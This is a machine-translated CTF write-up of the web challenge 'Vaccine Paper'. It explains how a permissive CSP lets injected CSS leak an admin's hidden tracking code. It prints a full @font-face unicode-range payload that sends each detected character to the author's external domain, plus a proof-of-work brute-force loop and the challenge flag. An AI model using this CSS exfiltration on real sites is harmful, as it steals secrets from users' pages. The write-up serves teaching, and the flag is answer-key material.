2020 网络作战竞赛 - Vaccine Paper Writeup
利用 CSP 的 XS-Leak 攻击窃取管理员密钥
本文由 AI 从韩语机器翻译，部分表达可能与原文有所不同。
阅读原文（韩语）|
题目 |
领域 |
分数 |
|
|
2.2 Vaccine Paper |
WEB |
? |
|
|
已接入敌国的内部研究资料共享系统. 请利用管理员密钥窃取治疗药物信息. |
|||
|
解题步骤 |
|
||
|
答案 |
flag{Y0u_5uCc3sfu11y_7R4CK_adM1n_4nd_G3t_Vaccine} |
||
|
解题过程 |
|||
 注册并登录后，会出现如上图所示的画面. Upload Paper 菜单中可以不受任何限制地上传 input；并且, 通过 MyPage中显示的已上传帖子的链接进入后，我所填入的 input会原样输出.
Content-Security-Policy: default-src 'none'; script-src 'nonce-2053560439'; style-src *; font-src *; base-uri 'none';
但是 csp已启用，因此 script必须匹配 nonce，而, style和 font则可以不受限制地使用.  我发布的帖子在满足少量 pow后便会被发送给管理员，接着 headlesschrome/77.0.3835.0 可以看到它以此访问了我的帖子. 
起初还以为是 script nonce leak 的题目而折腾了许久，结果发现主页注释里竟然有 /vaccine.php，真是 -_- 哈哈哈;;;;;
 vaccine.php在提供少量 pow后，会对 tracking code进行检查，如果是 admin的话，就会把 vaccine给出来. 因为不知道这一点，折腾了一会儿.. 
tracking code就像这样被嵌入其中，但通过 css，以 display:none的方式被隐藏了.
但是我们可以随意加载 stylesheet，并且, font 的外部请求也可以自由进行(style-src *; font-src *;)
因此，若使用基于 font-face的 xs leak，就可以轻松解出此题. (reference : http://vulnerabledoma.in/poc_unicode-range2.html) @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:0'); unicode-range:U+0030; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:1'); unicode-range:U+0031; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:2'); unicode-range:U+0032; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:3'); unicode-range:U+0033; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:4'); unicode-range:U+0034; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:5'); unicode-range:U+0035; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:6'); unicode-range:U+0036; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:7'); unicode-range:U+0037; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:8'); unicode-range:U+0038; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:9'); unicode-range:U+0039; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:A'); unicode-range:U+0041; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:B'); unicode-range:U+0042; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:C'); unicode-range:U+0043; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:D'); unicode-range:U+0044; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:E'); unicode-range:U+0045; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:F'); unicode-range:U+0046; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:G'); unicode-range:U+0047; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:H'); unicode-range:U+0048; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:I'); unicode-range:U+0049; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:J'); unicode-range:U+004A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:K'); unicode-range:U+004B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:L'); unicode-range:U+004C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:M'); unicode-range:U+004D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:N'); unicode-range:U+004E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:O'); unicode-range:U+004F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:P'); unicode-range:U+0050; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Q'); unicode-range:U+0051; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:R'); unicode-range:U+0052; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:S'); unicode-range:U+0053; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:T'); unicode-range:U+0054; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:U'); unicode-range:U+0055; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:V'); unicode-range:U+0056; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:W'); unicode-range:U+0057; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:X'); unicode-range:U+0058; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Y'); unicode-range:U+0059; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:Z'); unicode-range:U+005A; }
@font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:a'); unicode-range:U+0061; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:b'); unicode-range:U+0062; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:c'); unicode-range:U+0063; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:d'); unicode-range:U+0064; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:e'); unicode-range:U+0065; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:f'); unicode-range:U+0066; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:g'); unicode-range:U+0067; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:h'); unicode-range:U+0068; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:i'); unicode-range:U+0069; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:j'); unicode-range:U+006A; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:k'); unicode-range:U+006B; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:l'); unicode-range:U+006C; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:m'); unicode-range:U+006D; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:n'); unicode-range:U+006E; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:o'); unicode-range:U+006F; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:p'); unicode-range:U+0070; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:q'); unicode-range:U+0071; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:r'); unicode-range:U+0072; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:s'); unicode-range:U+0073; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:t'); unicode-range:U+0074; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:u'); unicode-range:U+0075; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:v'); unicode-range:U+0076; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:w'); unicode-range:U+0077; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:x'); unicode-range:U+0078; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:y'); unicode-range:U+0079; } @font-face{ font-family:attack; src:url('//ar9ang3.com/?Found:z'); unicode-range:U+007A; }
.tracker-hidden{ display:block!important; font-family:attack; }
tracker-hidden，由于被设置为 display:none，所以将其改为 visible，使 font-family得以应用之后, unicode-range，利用它，当 [A-Za-z0-9] 范围内存在字符时，通过对应的 font-family，向 src:url()中设置的我的域名发送 font 请求，从而可以得知存在哪些字符.
将其像 http://ar9ang3.com/aa.css 这样，以 css文件的形式写在我的服务器上之后, <link rel="stylesheet" href="http://ar9ang3.com/aa.css"> 把它在 upload时放进去，当管理员读取我的帖子时，所编写的 css就会被应用，从而 xs-leak便会运行起来.  实际上字符确实逐个被发送到了我的服务器,
Privacy Policy: In order to protect information of NVL, to access every work will be tracked. To track your information, 32-byte secret code that only contains [0-9A-Za-z] will be used. Each letters of secret code are in increasing order of ASCII code.
由于主页上有如上说明，密钥会按 ascii order排列且不含重复，因此只要将它们全部收集起来排序,
admin的 tracker code为 '012378IJLMNQSWXYadeghilnopqrtuyz' 。.
将其放入 vaccine.php中并发送后  便会把 flag 撒出来
参考) pow 代码 from arang import *
for i in range(0,0xfffffff): if i % 100000 == 0: print(f'[+] doing {i}') s = hexencode(sha1(str(i))) if s[:6] == b'0b83ff': print(i) break
----------------------------------------------------------------------------------------------- |
|||
评论